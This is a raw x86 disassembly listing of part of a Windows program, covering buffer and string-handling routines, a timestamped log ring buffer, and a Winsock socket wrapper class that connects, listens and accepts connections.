add esp, 0Ch
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
; ---------------------------------------------------------------------------
loc_41981E: ; CODE XREF: sub_419790+5Aj
; sub_419790+62j
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp+30h+var_20]
rep stosd
lea ecx, [esp+30h+var_20]
push 1Dh
push ecx
stosw
call near ptr 71AB50C8h
nop
test eax, eax
pop edi
jnz short loc_419850
lea edx, [esp+2Ch+var_20]
push ebx
push edx
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
loc_419850: ; CODE XREF: sub_419790+52j
; sub_419790+75j ...
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
sub_419790 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4198A0 proc near ; CODE XREF: sub_401EECj
nop
call near ptr 27F0769h
push eax
nop
call near ptr 77C371BCh
pop ecx
retn
sub_4198A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4198C0 proc near ; CODE XREF: sub_4021A3j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
nop
call near ptr 77C371D3h
mov esi, [esp+8+arg_0]
mov [esp+8+var_4], eax
mov eax, [esp+8+arg_4]
fild [esp+8+var_4]
sub eax, esi
mov [esp+8+arg_4], eax
fimul [esp+8+arg_4]
fmul dbl_43E0B0
call sub_4368EA
sub_4198C0 endp
; ---------------------------------------------------------------------------
sub esi, eax
mov eax, esi
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419910: ; CODE XREF: ___:00401C85j
call near ptr 77C371D3h
nop
cdq
idiv dword ptr [esp+4]
mov eax, edx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
locret_419930: ; CODE XREF: ___:0040151Ej
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419950: ; CODE XREF: ___:00401FC3j
xor al, al
retn 4
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419970 proc near ; CODE XREF: sub_401523j
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
mov edx, [esp+arg_8]
cmp eax, 1
setnl al
mov byte ptr [esp+arg_C], al
push ecx
mov eax, [esp+4+arg_C]
push edx
push eax
push 0
mov ecx, offset byte_4D60B5
call sub_401118
retn
sub_419970 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4199B0: ; CODE XREF: ___:00401505j
sub esp, 0Ch
mov eax, [esp+20h]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword ptr [esp+18h], 80h
mov [esp+10h], esi
jz short loc_4199E3
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, esi
mov [esp+10h], eax
jz short loc_4199E3
mov [esp+18h], eax
loc_4199E3: ; CODE XREF: ___:004199CBj
; ___:004199DDj
mov edi, [esp+28h]
mov ebx, [esp+24h]
mov ebp, [esp+20h]
mov [esp+14h], esi
mov esi, offset dword_506E6C
loc_4199F8: ; CODE XREF: ___:00419A49j
mov ecx, [esp+14h]
mov eax, [esp+18h]
cmp ecx, eax
jge short loc_419A4B
cmp byte ptr [esi], 0
jz short loc_419A34
mov eax, [esp+30h]
test eax, eax
jz short loc_419A28
mov ecx, [esp+10h]
test ecx, ecx
jnz short loc_419A28
push eax
push esi
call near ptr 77C47C60h
nop
add esp, 8
test eax, eax
jz short loc_419A34
loc_419A28: ; CODE XREF: ___:00419A0Fj
; ___:00419A17j
push edi
push esi
push ebx
push ebp
call sub_401523
add esp, 10h
loc_419A34: ; CODE XREF: ___:00419A07j
; ___:00419A26j
mov edx, [esp+14h]
add esi, 80h
inc edx
cmp esi, offset dword_50AE6C
mov [esp+14h], edx
jl short loc_4199F8
loc_419A4B: ; CODE XREF: ___:00419A02j
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: ___:00402266j
push ebx
mov ebx, dword_50FAF8
push esi
push edi
mov edi, [esp+10h]
mov esi, offset dword_506E6C
loc_419AA2: ; CODE XREF: ___:00419ABEj
cmp byte ptr [esi], 0
jz short loc_419AB2
push edi
push esi
call ebx ; strstr
add esp, 8
test eax, eax
jnz short loc_419AC6
loc_419AB2: ; CODE XREF: ___:00419AA5j
add esi, 80h
cmp esi, offset dword_50AE6C
jl short loc_419AA2
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419AC6: ; CODE XREF: ___:00419AB0j
pop edi
pop esi
mov eax, 1
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419AE0 proc near ; CODE XREF: sub_4010D2j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
lea eax, [esp+10h+var_10]
push esi
push edi
push eax
call near ptr 27C0000h
nop
mov edi, dword_50FAFC
mov esi, offset dword_50AE6C
loc_419AFB: ; CODE XREF: sub_419AE0+3Bj
cmp byte ptr [esi], 0
jz short loc_419B0F
push 7Fh
lea ecx, [esi+80h]
push esi
push ecx
call edi ; strncpy
add esp, 0Ch
loc_419B0F: ; CODE XREF: sub_419AE0+1Ej
sub esi, 80h
cmp esi, offset dword_506E6C
jge short loc_419AFB
mov edx, [esp+18h+arg_0]
mov eax, [esp+18h+var_4]
mov ecx, [esp+12h]
push edx
mov edx, [esp+1Ch+var_8]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
mov eax, [esp+20h+var_10]
and edx, 0FFFFh
push ecx
mov ecx, [esp+1Ah]
push edx
mov edx, [esp+28h+var_10+2]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
and edx, 0FFFFh
push ecx
push edx
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push 80h
push offset dword_506E6C
call near ptr 77C3FA76h
nop
add esp, 28h
pop edi
pop esi
add esp, 10h
retn
sub_419AE0 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419BB0: ; CODE XREF: ___:004012DAj
sub esp, 600h
mov ecx, 80h
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp+10h]
mov esi, [esp+614h]
rep stosd
mov ecx, 80h
lea edi, [esp+210h]
mov ebp, dword_50FAFC
push 1FFh
rep stosd
mov ecx, 80h
lea edi, [esp+414h]
rep stosd
lea eax, [esp+14h]
push esi
push eax
call ebp ; strncpy
mov edx, [esp+628h]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
add esp, 0Ch
repne scasb
not ecx
dec ecx
cmp ecx, 180h
jbe short loc_419C21
mov [edx+180h], al
loc_419C21: ; CODE XREF: ___:00419C19j
mov ebx, [esp+618h]
lea ecx, [esp+10h]
push ebx
push ecx
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_419D32
loc_419C3F: ; CODE XREF: ___:00419D25j
lea edx, [esp+10h]
push ebx
push edx
nop
call near ptr 77C47C60h
mov esi, eax
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 1FFh
add ecx, esi
lea eax, [esp+41Ch]
push ecx
push eax
call ebp ; strncpy
lea ecx, [esp+24h]
push 1FFh
lea edx, [esp+228h]
push ecx
push edx
mov byte ptr [esi], 0
call ebp ; strncpy
lea edx, [esi+1]
add esp, 20h
test edx, edx
jz short loc_419D00
lea eax, [ebx-1]
test eax, eax
jz short loc_419D00
lea edi, [ebx-1]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, edx
mov esi, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp ecx, esi
jbe short loc_419CDD
mov edx, [esp+61Ch]
lea ecx, [esp+410h]
push ecx
lea eax, [esp+214h]
push edx
push eax
lea ecx, [esp+1Ch]
push offset aSSS ; "%s%s%s"
push ecx
call sub_5EE1E5
nop
add esp, 14h
jmp short loc_419D00
; ---------------------------------------------------------------------------
loc_419CDD: ; CODE XREF: ___:00419CAEj
mov edx, [esp+61Ch]
lea eax, [esp+210h]
push edx
push eax
lea ecx, [esp+18h]
push offset aSS_3 ; "%s%s"
push ecx
nop
call sub_5EE1E5
add esp, 10h
loc_419D00: ; CODE XREF: ___:00419C8Aj
; ___:00419C91j ...
mov edx, [esp+61Ch]
mov esi, dword_50FAF8
push edx
push ebx
call esi ; strstr
add esp, 8
test eax, eax
jnz short loc_419D2B
lea eax, [esp+10h]
push ebx
push eax
call esi ; strstr
add esp, 8
test eax, eax
jnz loc_419C3F
loc_419D2B: ; CODE XREF: ___:00419D16j
mov esi, [esp+614h]
loc_419D32: ; CODE XREF: ___:00419C39j
lea edi, [esp+10h]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
lea ecx, [esp+14h]
push ecx
push esi
call ebp ; strncpy
add esp, 0Ch
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 600h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419DD0: ; CODE XREF: ___:004018CFj
sub esp, 10h
push esi
push 0
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_419DEE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419DEE: ; CODE XREF: ___:00419DE5j
mov ecx, [esp+18h]
xor eax, eax
mov [esp+4], eax
push ecx
mov [esp+0Ch], eax
mov word ptr [esp+8], 2
mov [esp+10h], eax
mov [esp+14h], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+4]
push 10h
push edx
push esi
mov [esp+12h], ax
mov dword ptr [esp+14h], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_419E39
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419E39: ; CODE XREF: ___:00419E2Fj
push 7FFFFFFFh
push esi
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_419E51
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419E51: ; CODE XREF: ___:00419E47j
mov eax, esi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419E90: ; CODE XREF: ___:00401E65j
push edi
xor edi, edi
mov eax, offset byte_4DE2E5
loc_419E98: ; CODE XREF: ___:00419EA8j
cmp dword ptr [eax], 0
jz short loc_419EAA
add eax, 316h
inc edi
cmp eax, offset byte_4E5E55
jle short loc_419E98
loc_419EAA: ; CODE XREF: ___:00419E9Bj
cmp edi, 13h
jle short loc_419EB4
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419EB4: ; CODE XREF: ___:00419EADj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_50FBF0
push esi
lea eax, [eax+eax*4]
lea esi, ds:4DE1EBh[eax*2]
mov eax, [esp+10h]
push eax
push esi
call ebx ; sub_5EE1E5
mov ecx, [esp+24h]
mov edx, [esp+1Ch]
mov eax, [esp+20h]
mov [esi+0FAh], ecx
mov ecx, [esp+28h]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5EE1E5
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419F50 proc near ; CODE XREF: sub_4013E8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push edi
xor edi, edi
mov eax, offset dword_4D6775
loc_419F58: ; CODE XREF: sub_419F50+18j
cmp dword ptr [eax], 0
jz short loc_419F6A
add eax, 316h
inc edi
cmp eax, offset byte_4DE2E5
jle short loc_419F58
loc_419F6A: ; CODE XREF: sub_419F50+Bj
cmp edi, 13h
jle short loc_419F74
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419F74: ; CODE XREF: sub_419F50+1Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_50FBF0
push esi
lea eax, [eax+eax*4]
lea esi, ds:4D667Bh[eax*2]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ebx ; sub_5EE1E5
mov ecx, [esp+14h+arg_C]
mov edx, [esp+14h+arg_4]
mov eax, [esp+14h+arg_8]
mov [esi+0FAh], ecx
mov ecx, [esp+14h+arg_10]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5EE1E5
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_419F50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A010 proc near ; CODE XREF: sub_401C35j
var_190 = byte ptr -190h
arg_0 = byte ptr 4
sub esp, 190h
push ebp
mov ebp, ecx
push esi
push edi
mov dword ptr [ebp+0], offset off_43E0BC
mov eax, dword_50BB38
test eax, eax
jnz short loc_41A048
mov eax, dword_50BB38
inc eax
mov dword_50BB38, eax
lea ecx, [esp+19Ch+var_190]
push ecx
push 202h
call near ptr 71AB664Dh
nop
jmp short loc_41A055
; ---------------------------------------------------------------------------
loc_41A048: ; CODE XREF: sub_41A010+19j
mov edx, dword_50BB38
inc edx
mov dword_50BB38, edx
loc_41A055: ; CODE XREF: sub_41A010+36j
mov al, [esp+19Ch+arg_0]
or ecx, 0FFFFFFFFh
mov [ebp+80Ah], al
mov edi, offset byte_446F70
xor eax, eax
mov [ebp+806h], ecx
mov byte ptr [ebp+80Ch], 0
mov word ptr [ebp+4], 0
repne scasb
not ecx
sub edi, ecx
lea edx, [ebp+6]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebp
and ecx, 3
rep movsb
pop edi
mov byte ptr [ebp+80Bh], 0
pop esi
pop ebp
add esp, 190h
retn 4
sub_41A010 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401FC8
test [esp+4+arg_0], 1
jz short loc_41A0F8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj
mov eax, esi
pop esi
retn 4
sub_41A0E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A110 proc near ; CODE XREF: sub_401FC8j
mov al, [ecx+80Ah]
mov dword ptr [ecx], offset off_43E0BC
test al, al
jnz short loc_41A125
call sub_4014DD
loc_41A125: ; CODE XREF: sub_41A110+Ej
mov eax, 1
mov ecx, dword_50BB38
cmp ecx, eax
jle short loc_41A140
mov eax, dword_50BB38
dec eax
mov dword_50BB38, eax
locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j
retn
; ---------------------------------------------------------------------------
loc_41A140: ; CODE XREF: sub_41A110+22j
jnz short locret_41A13F
mov ecx, dword_50BB38
dec ecx
mov dword_50BB38, ecx
jmp near ptr 71AB4428h
sub_41A110 endp
; ---------------------------------------------------------------------------
dd 90909032h, 2 dup(90909090h), 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_41A180: ; CODE XREF: ___:004015A0j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43ACCB
push eax
mov large fs:0, esp
sub esp, 814h
push esi
mov esi, ecx
call sub_40195B
test al, al
jz loc_41A231
mov al, [esi+80Bh]
test al, al
jz short loc_41A1B9
mov al, 1
jmp short loc_41A231
; ---------------------------------------------------------------------------
loc_41A1B9: ; CODE XREF: ___:0041A1B3j
push ebx
push edi
mov edi, [esp+830h]
push 800h
lea eax, [esi+6]
push edi
push eax
nop
call near ptr 77C47A90h
mov ebx, [esp+840h]
add esp, 0Ch
lea ecx, [esp+0Ch]
mov [esi+4], bx
call sub_401186
mov ecx, [esp+83Ch]
mov edx, [esp+838h]
push ecx
push edx
push ebx
push edi
lea ecx, [esp+1Ch]
mov dword ptr [esp+838h], 0
call sub_401636
push eax
mov ecx, esi
call sub_4020C7
lea ecx, [esp+0Ch]
mov bl, al
mov dword ptr [esp+828h], 0FFFFFFFFh
call sub_40186B
mov al, bl
pop edi
pop ebx
loc_41A231: ; CODE XREF: ___:0041A1A5j
; ___:0041A1B7j
mov ecx, [esp+818h]
pop esi
mov large fs:0, ecx
add esp, 820h
retn 10h
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A290 proc near ; CODE XREF: sub_40195Bj
mov al, byte_443DD0
retn
sub_41A290 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A2B0 proc near ; CODE XREF: sub_4020C7j
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
sub esp, 11Ch
push ebp
push esi
push edi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A2D0
pop edi
pop esi
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A2D0: ; CODE XREF: sub_41A2B0+12j
mov al, [esi+80Bh]
test al, al
jnz loc_41A471
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A30A
mov ecx, esi
call sub_4014DD
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A30A: ; CODE XREF: sub_41A2B0+43j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A319
push 1
jmp short loc_41A31B
; ---------------------------------------------------------------------------
loc_41A319: ; CODE XREF: sub_41A2B0+63j
push 0
loc_41A31B: ; CODE XREF: sub_41A2B0+67j
mov ecx, esi
call sub_4018BB
mov edi, [esp+128h+arg_4]
xor eax, eax
mov [esp+128h+var_114], eax
push edi
mov [esp+12Ch+var_110], eax
mov [esi+4], di
mov [esp+12Ch+var_10C], eax
mov word ptr [esp+12Ch+var_114], 2
mov [esp+12Ch+var_108], eax
call near ptr 71AB2B66h
nop
mov ecx, [esp+128h+arg_0]
mov word ptr [esp+128h+var_114+2], ax
mov eax, [esi+806h]
lea edx, [esp+128h+var_114]
push 10h
push edx
push eax
mov [esp+134h+var_110], ecx
mov [esi+4], di
nop
call near ptr 71AB406Ah
mov ebp, dword_50FC44
test eax, eax
jge short loc_41A3BC
call ebp ; WSAGetLastError
cmp eax, 2733h
jz short loc_41A3AD
call ebp ; WSAGetLastError
cmp eax, 0Bh
jz short loc_41A3AD
call ebp ; WSAGetLastError
cmp eax, 2733h
jz short loc_41A3AD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j
; sub_41A2B0+DDj ...
mov al, byte ptr [esp+128h+arg_8]
test al, al
jnz loc_41A46A
loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj
mov eax, [esi+806h]
xor ecx, ecx
lea edx, [esp+128h+var_11C]
mov edi, dword_50FC80
mov [esp+128h+var_11C], ecx
push edx
mov [esp+12Ch+var_118], ecx
push ecx
lea ecx, [esp+130h+var_104]
mov [esp+130h+var_100], eax
push ecx
inc eax
push 0
push eax
mov [esp+13Ch+var_11C], 0Ah
mov [esp+13Ch+var_104], 1
call edi ; select
test eax, eax
jge short loc_41A430
loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej
call ebp ; WSAGetLastError
call ebp ; WSAGetLastError
cmp eax, 4
jnz short loc_41A445
mov eax, [esp+128h+var_11C]
test eax, eax
jnz short loc_41A414
mov eax, [esp+128h+var_118]
test eax, eax
jz short loc_41A445
loc_41A414: ; CODE XREF: sub_41A2B0+15Aj
mov ecx, [esi+806h]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
inc ecx
push 0
push ecx
call edi ; select
test eax, eax
jl short loc_41A3FB
loc_41A430: ; CODE XREF: sub_41A2B0+149j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A461
mov edx, [esp+128h+arg_8]
push edx
jmp short loc_41A463
; ---------------------------------------------------------------------------
loc_41A445: ; CODE XREF: sub_41A2B0+152j
; sub_41A2B0+162j
mov ecx, esi
call sub_4014DD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A461: ; CODE XREF: sub_41A2B0+189j
push 0
loc_41A463: ; CODE XREF: sub_41A2B0+193j
mov ecx, esi
call sub_4018BB
loc_41A46A: ; CODE XREF: sub_41A2B0+106j
mov byte ptr [esi+80Bh], 1
loc_41A471: ; CODE XREF: sub_41A2B0+28j
pop edi
pop esi
mov al, 1
pop ebp
add esp, 11Ch
retn 10h
sub_41A2B0 endp
; ---------------------------------------------------------------------------
db 90h
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A500 proc near ; CODE XREF: sub_4014DDj
push esi
mov esi, ecx
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41A51A
cmp eax, 0FFFFFFFFh
jz short loc_41A51A
push eax
nop
call near ptr 71AB9639h
loc_41A51A: ; CODE XREF: sub_41A500+Cj
; sub_41A500+11j
mov ecx, esi
call sub_401375
mov byte ptr [esi+80Bh], 0
pop esi
retn
sub_41A500 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A540 proc near ; CODE XREF: sub_401375j
push ebp
mov edx, ecx
push esi
push edi
or ecx, 0FFFFFFFFh
mov edi, offset byte_446F70
xor eax, eax
mov [edx+806h], ecx
mov word ptr [edx+4], 0
lea ebp, [edx+6]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov byte ptr [edx+80Bh], 0
mov byte ptr [edx+80Ch], 0
pop ebp
retn
sub_41A540 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A5B0 proc near ; CODE XREF: sub_401488j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A5C6
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj
mov al, [esi+80Bh]
test al, al
jnz loc_41A67F
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A5FB
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A5FB: ; CODE XREF: sub_41A5B0+39j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+14h+var_10+2], ax
mov eax, [esi+806h]
lea edx, [esp+14h+var_10]
push 10h
push edx
push eax
mov [esp+20h+var_C], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_41A654
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A654: ; CODE XREF: sub_41A5B0+92j
mov ecx, [esi+806h]
push 32h
push ecx
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41A678
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A678: ; CODE XREF: sub_41A5B0+B6j
mov byte ptr [esi+80Bh], 1
loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej
mov al, 1
pop esi
add esp, 10h
retn 4
sub_41A5B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A6D0 proc near ; CODE XREF: sub_401B81j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 120h
push esi
push edi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A6EE
pop edi
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A6EE: ; CODE XREF: sub_41A6D0+11j
mov al, [esi+80Bh]
test al, al
jnz short loc_41A705
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A705: ; CODE XREF: sub_41A6D0+26j
mov al, [esi+80Ch]
test al, al
jnz short loc_41A781
call sub_40195B
test al, al
jz short loc_41A774
mov edi, dword_50FC80
loc_41A71E: ; CODE XREF: sub_41A6D0+A2j
mov eax, [esi+806h]
lea ecx, [esp+128h+var_11C]
push ecx
mov [esp+12Ch+var_100], eax
push 0
lea edx, [esp+130h+var_104]
push 0
inc eax
push edx
push eax
mov [esp+13Ch+var_104], 1
mov [esp+13Ch+var_11C], 0
mov [esp+13Ch+var_118], 64h
call edi ; select
test eax, eax
jz short loc_41A76B
mov ecx, [esi+806h]
lea eax, [esp+128h+var_104]
push eax
push ecx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41A781
loc_41A76B: ; CODE XREF: sub_41A6D0+84j
call sub_40195B
test al, al
jnz short loc_41A71E
loc_41A774: ; CODE XREF: sub_41A6D0+46j
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A781: ; CODE XREF: sub_41A6D0+3Dj
; sub_41A6D0+99j
mov eax, [esp+128h+arg_4]
mov [esp+128h+var_120], 0FFFFFFFFh
test eax, eax
jz short loc_41A7A4
lea edx, [esp+128h+var_11C]
mov [esp+128h+var_11C], 10h
push edx
push eax
jmp short loc_41A7B6
; ---------------------------------------------------------------------------
loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j
lea ecx, [esp+128h+var_11C]
lea edx, [esp+128h+var_114]
push ecx
mov [esp+12Ch+var_11C], 10h
push edx
loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j
mov eax, [esi+806h]
push eax
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+128h+var_120], eax
jnz short loc_41A7D9
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj
mov esi, [esp+128h+arg_0]
lea ecx, [esp+128h+var_120]
push ecx
mov ecx, esi
call sub_4020EA
mov dl, [esp+128h+arg_8]
pop edi
mov [esi+80Dh], dl
mov al, 1
pop esi
add esp, 120h
retn 0Ch
sub_41A6D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A860 proc near ; CODE XREF: sub_4020EAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax]
mov [ecx+806h], edx
mov edx, [eax]
cmp edx, 0FFFFFFFFh
setnz al
mov [ecx+80Bh], al
retn 4
sub_41A860 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A890 proc near ; CODE XREF: sub_401960j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 0
push edx
push eax
call sub_401B3B
retn 0Ch
sub_41A890 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
